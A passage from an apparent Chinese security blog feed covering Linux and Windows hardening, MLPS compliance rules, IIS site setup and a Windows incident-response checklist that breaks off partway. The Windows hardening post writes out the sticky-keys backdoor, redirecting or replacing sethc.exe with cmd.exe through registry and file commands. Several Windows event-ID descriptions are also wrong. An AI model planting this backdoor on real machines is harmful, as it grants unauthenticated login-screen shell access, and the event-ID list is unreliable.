&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 禁用不必要的系统服务&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;chkconfig命令主要用来更新（启动或停止）和查询系统服务的运行级信息。谨记chkconfig不是立即自动禁止或激活一个服务，它只是简单的改变了符号连接。
 on/off 开启/关闭服务
 --add 增加所指定的系统服务，让chkconfig指令得以管理它，并同时在系统启动的叙述文件内增加相关数据。
--del 删除所指定的系统服务，不再由chkconfig指令管理，并同时在系统启动的叙述文件内删除相关数据。
--level&amp;lt;等级代号&amp;gt; 指定读系统服务要在哪一个执行等级中开启或关毕。


查看运行级别命令runlevel
运行级别 含义
等级表示： 
等级0表示：表示关机
等级1表示：单用户模式
等级2表示：无网络连接的多用户命令行模式
等级3表示：有网络连接的多用户命令行模式
等级4表示：不可用
等级5表示：带图形界面的多用户模式
等级6表示：重新启动
在centos 6 中与centos 7中，chkconfig命令已经重置，现在基本用systemctl
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 安全防护&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;4.1 umask权限
相关文件：
/etc/profile 
修改文件参数
umask 022 # 修改umask为022
或者直接输入命令
umask 0022
# 修改umask为0022


&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;4.2 敏感文件保护
示例文件：
/etc/passwd
/etc/shadow
相关命令：
chmod [权限] [文件/目录]
chattr [模式] [文件]

lsattr
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;4.3历史命令优化
在/etc/profile的文件尾部添加如下行数配置信息：
###############
USER_IP=`who -u am i 2&amp;gt;/dev/null | awk &apos;{print $NF}&apos; | sed -e &apos;s/[()]//g&apos;`
if [ &quot;$USER_IP&quot; = &quot;&quot; ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT=&quot;%F %T $USER_IP `whoami` &quot;
shopt -s histappend
export PROMPT_COMMAND=&quot;history -a&quot;
###################
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;4.4 Root操作历史
相关文件：
/etc/profile
修改参数
HISTSIZE=100 # 历史操作保存100条
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;4.5 修改路由信息
route add –net [目标网站] netmask [目标网段掩码] gw $gateway1
# 添加路由
route del –net 0.0.0.0 netmask 0.0.0.0 gw $gateway
# 删除默认路由

route -n  //查看路由信息
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;4.6日志切割配置
logrotate介绍：logrotate 程序是一个日志文件管理工具用来进行日志切割和定期删除，简单来说就是将某个日志文件按照时间或大小分割成多份，删除时间久远的日志。

Logrotater日志文件切割策略
查看logrotate.conf配置：cat /etc/logrotate.conf
weekly //默认每一周执行一次rotate轮转工作
rotate 4 //保留多少个日志文件(轮转几次).默认保留四个.就是指定日志文件删除之前轮转的次数，0 指没有备份
create //自动创建新的日志文件，新的日志文件具有和原来的文件相同的权限；因为日志被改名,因此要创建一个新的来继续存储之前的日志
dateext //这个参数很重要！就是切割后的日志文件以当前日期为格式结尾，如xxx.log-20131216这样,如果注释掉,切割出来是按数字递增,即前面说的 xxx.log-1这种格式
compress //是否通过gzip压缩转储以后的日志文件，如xxx.log-20131216.gz ；如果不需要压缩，注释掉就行
include /etc/logrotate.d //导入/etc/logrotate.d/ 目录中的各个应用配置
/var/log/wtmp { //仅针对 /var/log/wtmp 所设定的参数
monthly //每月一次切割,取代默认的一周
minsize 1M //文件大小超过 1M 后才会切割
create 0664 root utmp //指定新建的日志文件权限以及所属用户和组
rotate 1 //只保留一个日志.}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5 三权分立&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;三员的理解：系统管理员，安全保密管理员，安全审计员
三员之三权：废除超级管理员；三员是三角色并非三人；安全保密管理员与审计员必须非同一个人。
BMB20-2007 提出的系统管理员、安全保密管理员和安全审计员是 3 类岗位或角色，并不是指 3 个人，可以是多人。各涉密信息系统应该根据实际情况，配备合理数量的安全保密管理人员，以满足系统安全保密管理的需要。
系统管理员主要负责系统的日常运行维护工作；
安全保密管理员主要负责涉密信息系统的日常安全保密管理工作；
安全审计员主要负责对系统管理员、安全保密管理员的操作行为进行审计跟踪分析和监督检查。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;useradd system
useradd audit
useradd security
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Windows 安全加固</title><link>https://wangyi187.top/posts/os-09-windows-hardening/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-09-windows-hardening/</guid><description>Windows安全加固 1 主要安全风险 2 账户管理和认证授权 默认账户安全 账户 定期检查本地用户和组 三权用户 账户 不显示最后的用户名 口令 3 日志配置 4 IP协议安全</description><pubDate>Sat, 20 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Windows安全加固&lt;/h1&gt;
&lt;h2&gt;1 主要安全风险&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;1.核心交换机与服务器区域之间没有部署防火墙或其他网安产品
2.没有日志服务器
3.管理主机必须精确到主机级，不能以网段级
4.边界未部署防病毒设备
5.主干链路未做冗余
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 账户管理和认证授权&lt;/h2&gt;
&lt;h3&gt;默认账户安全&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1.禁用Guest账户
2.禁用或删除其他账户(建议先禁用账户一段时间，待确认没有问题后删除)
3.设定不同的用户和用户组。例如管理员用户、数据库用户、审计用户、来宾用户等。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;账户-定期检查本地用户和组&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;定期删除或锁定与设备运行、维护等与工作无关的帐户。

操作步骤：
➢ 打开 控制面板 &amp;gt; 管理工具 &amp;gt; 计算机管理，在 系统工具 &amp;gt; 本地用户和组 中，删除或锁定与设备运行、维护等与工作无关的帐户。

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三权用户&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;系统管理员：菜单管理、参数管理、角色设置、组织机构管理、系统日常运行维护，包括网络设备、安全保密产品、服务器和用户终端、操作系统、数据库、涉密业务应用系统的安装、配置、升级、维护、运行管理（只能修改和重置密码，不能新建和删除）、不允许查看审计日志

安全管理员：用户权限的分配（可以分配业务角色）、可以新建和删除用户、不可修改用户信息；不允许查看审计日志

审计管理员：审计管理，只允许查看审计日志，监督系统管理员和安全管理员的操作行为


系统管理员sysadmin（抛开超级管理员Administrator再创建）--- Users

安全管理员secadmin ---- Access Control Assistance Operators、Network Configuration Operators

审计管理员sysaudit ---- Event Log Readers、Performance Log Users
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;账户-不显示最后的用户名&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;配置登录登出后，不显示用户名称。

操作步骤：
打开 控制面板 &amp;gt; 管理工具 &amp;gt; 本地安全策略，在 本地策略 &amp;gt; 安全选项 中，双击 交互式登录:不显示最后的用户名，选择 已启用 并单击 确定。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;口令&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;密码复杂度要求必须满足以下策略：
➢ 最短密码长度要求八个字符。
➢ 启用本机组策略中密码必须符合复杂性要求的策略。
即密码至少包含以下四种类别的字符中的三种：
▪ 英语大写字母 A, B, C, … Z
▪ 英语小写字母 a, b, c, … z
▪ 西方阿拉伯数字 0, 1, 2, … 9
▪ 非字母数字字符，如标点符号，@, #, $, %, &amp;amp;, *等
操作步骤
➢ 打开 控制面板 &amp;gt; 管理工具 &amp;gt; 本地安全策略，在 帐户策略 &amp;gt; 密码策略 中，确认
密码必须符合复杂性要求策略 已启用。



对于采用静态口令认证技术的设备，帐户口令的留存期不应长于90天。
操作步骤：
➢打开 控制面板 &amp;gt; 管理工具
&amp;gt; 本地安全策略，在 帐户策略 &amp;gt; 密码策略 中，配置密码最长使用期限 不大于 90天。




对于采用静态口令认证技术的设备，应配置当用户连续认证失败次数超过5次后，锁定该用户使用的帐户。
操作步骤
➢ 打开 控制面板 &amp;gt; 管理工具 &amp;gt; 本地安全策略，在 帐户策略 &amp;gt; 帐户锁定策略 中，配置 帐户锁定阈值 不大于5次。



在本地安全设置中，只允许授权帐号从网络访问（包括网络共享等，但不包括终端服务）此计算机。
操作步骤
➢ 打开 控制面板 &amp;gt; 管理工具 &amp;gt; 本地安全策略，在 本地策略 &amp;gt; 用户权限分配 中，配置 从网络访问此计算机 权限给指定授权用户。
➢ 打开组策略编辑器 ---》 计算机配置 ---》 Windows 设置 --》 安全设置 ---》本地策略 ---》 用户权限分配
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 日志配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;八审核策略：
本地安全策略--》本地策略 --》审核策略

日志大小设置：
设置应用日志文件大小至少为20480 KB，可根据磁盘空间配置日志文件大小，记录的日志越多越好。并设置当达到最大的日志尺寸时，按需要轮询记录日志。
操作步骤
➢ 打开 控制面板 &amp;gt; 管理工具 &amp;gt; 事件查看器，配置 应用日志、系统日志、安全日志 属性中的日志大小，以及设置当达到最大的日志尺寸时的相应策略。

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 IP协议安全&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;SYN泛洪攻击保护
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

键值名：SynAttackProtect
推荐值：2
有效值： 0 – 2
说明：使TCP 调整 SYN-ACK的重传。 配置此值后，在遇到 SYN攻击时，对 连接超时的响应将更快速。在超过 TcpMaxHalfOpen或 TcpMaxHalfOpenRetried的值后，将 触发 SYN攻击保护。

键值名： TcpMaxPortsExhausted
推荐值：5
有效值： 0 – 65535
说明：指定触发 SYN洪水攻击保护所必须超过的 TCP连接请求数的阈值。

键值名：TcpMaxHalfOpen
推荐值：500
有效值： 100 – 65535
说明：在启用SynAttackProtect 后，该值指定处于 SYN_RCVD状态的TCP连接数的阈值。在超过SynAttackProtect 后，将触发SYN洪水攻击保护。

键值名： TcpMaxHalfOpenRetried
推荐值：400
有效值： 80 – 65535
说明：在启用SynAttackProtect 后，该值指定处于至少已发送一次重传的SYN_RCVD状态中的 TCP连接数的阈值。在超过SynAttackProtect 后，将触发 SYN洪水攻击保护。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5 共享文件夹及访问权限&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;关闭默认共享
非域环境中，关闭Windows默认共享，例如C$，D$。

共享文件夹授权访问
每个共享文件夹的共享权限，只允许授权的帐户拥有共享此文件夹的权限。不要设置成为 Everyone。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6 禁用TCP/IP上的NetBIOS&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;禁用TCP/IP上的NetBIOS协议，可以关闭监听的 UDP 137（netbios-ns）、UDP 138（netbios-dgm）以及 TCP 139（netbios-ssn）端口。

操作步骤
➢ 1.在 计算机管理 &amp;gt; 服务和应用程序 &amp;gt; 服务 中禁用 TCP/IP NetBIOS Helper 服务。
➢ 2.在网络连接属性中，双击 Internet协议版本4（TCP/IPv4），单击 高级。在 WINS 页签中，进行如下设置：禁用 TCP/IP 上的 NetBlOS(S)

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7 禁用不必要的服务&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;服务 --- services.msc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407201010121.png&quot; alt=&quot;image-20240716094623776&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;8 启用安全选项&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;打开 控制面板 &amp;gt; 管理工具&amp;gt; 本地安全策略，在 本地策略 &amp;gt; 安全选项 中，进行如下设置：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407201010123.png&quot; alt=&quot;image-20240716094736085&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;9 禁用未登录前关机&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;·服务器默认是禁止在未登录系统前关机的。如果启用此设置，服务器安全性将会大大降低，给远程连接的黑客造成可乘之机，强烈建议禁用未登录前关机功能。
操作系统

➢打开 控制面板 &amp;gt; 管理工具 &amp;gt; 本地安全策略，在本地策略 &amp;gt; 安全选项 中，禁用   关机: 允许系统在未登录前关机策略。

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;10 其他安全配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;防病毒管理
·Windows系统需要安装防病毒软件。
·操作步骤
➢ 安装企业级防病毒软件，并开启病毒库更新及实时防御功能。

限制远程登录空闲断开时间
·对于远程登录的帐户，设置不活动超过时间15分钟自动断开连接。
·操作步骤
➢ 打开 控制面板 &amp;gt; 管理工具 &amp;gt; 本地安全策略，在 本地策略 &amp;gt; 安全选项 中，设置 Microsoft网络服务器：暂停会话前所需的空闲时间数量 属性为15分钟。

操作系统补丁
·及时更新操作系统补丁
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;11 Windows测评表格讲解&lt;/h2&gt;
&lt;h2&gt;12 粘滞键&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;粘滞键 --- sethc.exe
两种方式：
1.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options ---》 新建项 sethc.exe --》新建键值   字符串值    debugger 数据：C:\Windows\System32\cmd.exe


2.
copy cmd.exe cmd.exe.bak
copy sethc.exe sethc.exe.bak

修改文件所有者为管理员组：
takeown /F cmd.exe /A
takeown /F sethc.exe /A

修改文件的管理员组访问控制权限为完全控制权
cacls cmd.exe /E /G administrators:F
cacls sethc.exe /E /G administrators:F

move cmd.exe sethc.exe
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>等保：相关法律法规</title><link>https://wangyi187.top/posts/mlps-02-laws/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-02-laws/</guid><description>等保相关法律法规 2008 等保1.0 2019 等保2.0 等保测评 等级保护制度 等保级别 主要目的机房保护 测评周期 两个方面 安全技术测评，安全管理测评 通用要求 70分以</description><pubDate>Fri, 19 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;等保相关法律法规&lt;/h1&gt;
&lt;p&gt;2008 --- 等保1.0&lt;/p&gt;
&lt;p&gt;2019 --- 等保2.0&lt;/p&gt;
&lt;h3&gt;等保测评&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;概念：全称是信息安全等级保护测评，是经公安部认证的具有资质的测评机构，依据国家信息安全等级保护规范规定，受有关单位委托，按照有关管理规范和技术标准，对信息系统安全等级保护状况进行检测评估的活动。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;等级保护制度&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;◼分级保护（分保）
信息的重要程度决定级别，分为三个级别秘密级，机密级，绝密级。由国家保密局负责。

◼等级保护（等保）
由业务系统的重要程度及遭到破坏后的危害程度决定级别，分为五个级别。由公安部负责。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;等保级别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;第一级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但不损害国家安全、社会秩序和公共利益；
第二级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益产生严重损害，或者对社会秩序和公共利益造成损害，但不损害国家安全；
第三级，信息系统受到破坏后，会对公民、法人和其他组织造成特别严重损害，对社会秩序和公共利益造成严重损害或者对国家安全造成损害；
第四级，信息系统受到破坏后，会对社会秩序和公共利益造成特别严重损害，或者对国家安全造成严重损害；
第五级，信息系统受到破坏后，会对国家安全造成特别严重损害。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要目的机房保护&lt;/p&gt;
&lt;h3&gt;测评周期&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;第三级：每年至少一次
第四级：每半年至少一次
第五级：依据特殊安全需求测评

第三级以上的网络运营者应当每年开展一次网络安全等级测评
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;两个方面&lt;/h3&gt;
&lt;p&gt;安全技术测评，安全管理测评&lt;/p&gt;
&lt;h3&gt;通用要求&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;安全技术测评：安全物理环境，安全通信网络，安全区域边界，安全计算环境，安全管理中心
安全管理测评：安全管理制度，安全管理机构，安全管理人员，安全建设管理，安全运维管理
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;70分以上，且没有高风险项&lt;/p&gt;
&lt;h3&gt;关键信息基础设施&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;概念：面向公众提供网络信息服务或支撑能源、通信、金融、交通、公共事业 等重要行业运行的信息系统或工业控制系统

关键信息基础设施网络安全保护包括：识别认定、安全防护、检测评估、监测预警、应急处置五个环节
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Windows 站点搭建</title><link>https://wangyi187.top/posts/os-07-windows-site/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-07-windows-site/</guid><description>Windows站点搭建 1 网站的架构 单机架构 集群架构 分布式架构 网站框架 2 中间件的概念 3 http站点搭建 访问 域名：http://192.168.63.130 网</description><pubDate>Sat, 13 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Windows站点搭建&lt;/h1&gt;
&lt;h2&gt;1 网站的架构&lt;/h2&gt;
&lt;p&gt;单机架构&lt;/p&gt;
&lt;p&gt;集群架构&lt;/p&gt;
&lt;p&gt;分布式架构&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://mp.weixin.qq.com/s/DzWkmgfqRDxhhOfON7C72A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;网站框架&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LAMP：Linux、Apache、MySQL、PHP
LNMP：Linux、Nginx、MySQL、PHP
WISP：Windows、IIS、SQLserver、PHP
LTMJ：Linux、Tomcat、MySQL、JAVA
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 中间件的概念&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;是介于应用系统和系统软件之间的一类软件

中间件=平台（资源） + 通信（协议）


IIS：互联网信息服务（Internet Information Services，简称IIS），是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。

Apache：（ Apache HTTP Server）是Apache软件基金会的一个开放源码的网页服务器，可以在大多数计算机操作系统中运行，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展，将Perl/Python等解释器编译到服务器中。

Nginx：Nginx是一个高性能的HTTP和反向代理web服务器继Apache之后的另一款
在Linux下被大量使用的web服务软件

Tomcat： Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量
级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开
发和调试JSP 程序的首选。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 http站点搭建&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052422.png&quot; alt=&quot;image-20240713095002315&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052424.png&quot; alt=&quot;image-20240713095142854&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052425.png&quot; alt=&quot;image-20240713095203997&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052426.png&quot; alt=&quot;image-20240713095257355&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052427.png&quot; alt=&quot;image-20240713095347083&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052428.png&quot; alt=&quot;image-20240713095450542&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052429.png&quot; alt=&quot;image-20240713095523164&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问 域名：http://192.168.63.130  ------  网站根目录 C:\WWW&lt;/p&gt;
&lt;p&gt;根目录没有文件所以报错&lt;/p&gt;
&lt;p&gt;查看网站内容两种方法：&lt;/p&gt;
&lt;p&gt;①&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052430.png&quot; alt=&quot;image-20240713095922903&quot; /&gt;&lt;/p&gt;
&lt;p&gt;②修改首页&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052431.png&quot; alt=&quot;image-20240713100048719&quot; /&gt;&lt;/p&gt;
&lt;p&gt;hosts文件添加域名解析   来访问&lt;/p&gt;
&lt;h2&gt;4 https站点搭建&lt;/h2&gt;
&lt;p&gt;搭建CA机构&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052432.png&quot; alt=&quot;image-20240713102341146&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052433.png&quot; alt=&quot;image-20240713102431646&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052434.png&quot; alt=&quot;image-20240713102506006&quot; /&gt;&lt;/p&gt;
&lt;p&gt;站点：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052435.png&quot; alt=&quot;image-20240713102614681&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052436.png&quot; alt=&quot;image-20240713102720206&quot; /&gt;&lt;/p&gt;
&lt;p&gt;证书申请之前---》csr---》证书申请之后--》cer&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052437.png&quot; alt=&quot;image-20240713103025025&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052439.png&quot; alt=&quot;image-20240713103038688&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052440.png&quot; alt=&quot;image-20240713103112644&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052441.png&quot; alt=&quot;image-20240713103122641&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ca机构下发&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052442.png&quot; alt=&quot;image-20240713103159902&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052443.png&quot; alt=&quot;image-20240713103302808&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052444.png&quot; alt=&quot;image-20240713103439822&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052445.png&quot; alt=&quot;image-20240713103537169&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052446.png&quot; alt=&quot;image-20240713103636618&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052447.png&quot; alt=&quot;image-20240713103906160&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407131052448.png&quot; alt=&quot;image-20240713104122864&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows 应急响应</title><link>https://wangyi187.top/posts/os-08-windows-ir/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-08-windows-ir/</guid><description>windows应急响应 1 应急响应概念 2 入侵排查过程 2.1 常见应急响应事件分类 2.2 检查系统账号安全 2.10 勒索自救指南</description><pubDate>Sat, 13 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;windows应急响应&lt;/h1&gt;
&lt;h2&gt;1 应急响应概念&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;企业系统遭到病毒传播、网络攻击、黑客入侵等安全事件造成信息业务中断、系统宕机、企业声誉受损等影响，急需第一时间进行处理，让企业的系统能够最快恢复工作
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 入侵排查过程&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;报告 -&amp;gt; 检查系统账号安全 -&amp;gt; 检查异常端口、进程 -&amp;gt; 检查启动项、计划任务、服务 -&amp;gt; 检查系统相关信息 -&amp;gt; 自动化查杀 -&amp;gt; 日志分析
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.1 常见应急响应事件分类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;web入侵：网页挂马、主页篡改（黑页）、Webshell
系统入侵：病毒木马、勒索软件、远控后门
网络攻击：DDOS攻击、DNS劫持、ARP欺骗
- DOS攻击：单挑
- DDOS攻击：群殴
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 检查系统账号安全&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、查看服务器是否由弱口令，远程管理端口是否对公网开放。
检查方法：据实际情况咨询相关服务器管理员

2、查看服务器是否存在可疑账号、新增账号。
检查方法：打开本地用户和组(lusrmgr.msc)，查看是否有新增/可疑的账号。

3、查看服务器是否存在隐藏账户、影子账号。
检查方法：
a、打开注册表，查看管理员对应键值
b、使用工具，D盾查杀

4、结合日志，查看管理员登录时间、用户名是否存在异常。
检查方法：
a、打开事件查看器(eventvwr.msc)
- 根据事件ID筛选内容进行排查
- **4624**：‌成功登录事件，‌表示用户成功登录系统。‌
- **4625**：‌登录失败事件，‌表示用户尝试但未能成功登录系统。‌
- **4634**：‌注销事件，‌表示用户注销系统。‌
- **4647**：‌用户注销事件，‌表示用户通过重新启动或关闭计算机来注销系统。‌
- **4720**：‌创建用户事件，‌表示新用户帐户已创建。‌
- **4722**：‌启用用户帐户事件，‌表示禁用的用户帐户已被启用。‌
- **4723**：‌更改用户密码事件，‌表示用户密码已更改。‌
- **4724**：‌创建安全组事件，‌表示新安全组已创建。‌
- **4728**：‌成功授权事件，‌表示用户获得了指定对象的权限。‌
- **4738**：‌设置用户密码事件，‌表示用户密码已更改或重置。‌

b、导出Windows日志-安全，利用Log Parser进行分析。

Logparser使用

1、基本查询结构
Logparser.exe –i:EVT –o:DATAGRID &quot;SELECT * FROM c:\xx.evtx&quot;

2、查询登录成功的事件
a、登录成功的所有事件：
LogParser.exe -i:EVT –o:DATAGRID &quot;SELECT * FROM c:\Security.evtx where EventID=4624&quot;
b、指定登录时间范围的事件：
LogParser.exe -i:EVT –o:DATAGRID &quot;SELECT * FROM c:\Security.evtx where TimeGenerated &amp;gt; &apos;2018-06-19 23:32:11&apos; and TimeGenerated &amp;lt; &apos;2018-06-20 23:34:00&apos; and EventID=4624&quot;
c、提取登录成功的用户名和IP：
LogParser.exe -i:EVT –o:DATAGRID &quot;SELECT EXTRACT_TOKEN(Message,13,&apos; &apos;) as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,&apos;|&apos;) as Username,EXTRACT_TOKEN(Message,38,&apos; &apos;) as Loginip FROM 1.evtx where EventID=4624&quot;

3、查询登录失败的事件
a、登录失败的所有事件：
LogParser.exe -i:EVT –o:DATAGRID &quot;SELECT * FROM c:\Security.evtx where EventID=4625&quot;
b、提取登录失败用户名进行聚合统计：
LogParser.exe -i:EVT &quot;SELECT EXTRACT_TOKEN(Message,13,&apos; &apos;) as EventType,EXTRACT_TOKEN(Message,19,&apos; &apos;) as user,count(EXTRACT_TOKEN(Message,19,&apos; &apos;)) as Times,EXTRACT_TOKEN(Message,39,&apos; &apos;) as Loginip FROM c:\Security.evtx where EventID=4625 GROUP BY Message&quot;

4、系统历史开关机记录：
LogParser.exe -i:EVT –o:DATAGRID &quot;SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 检查异常端口、进程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、检查端口连接情况，是否有远程连接、可疑连接。
检查方法：
a、netstat –ano 查看目前的网络连接，定位可疑的ESTABLISHED
b、根据netstat 定位出的pid，再通过tasklist命令进行进程定位
tasklist /fi &quot;PID eq 12852&quot;

2、进程
检查方法：
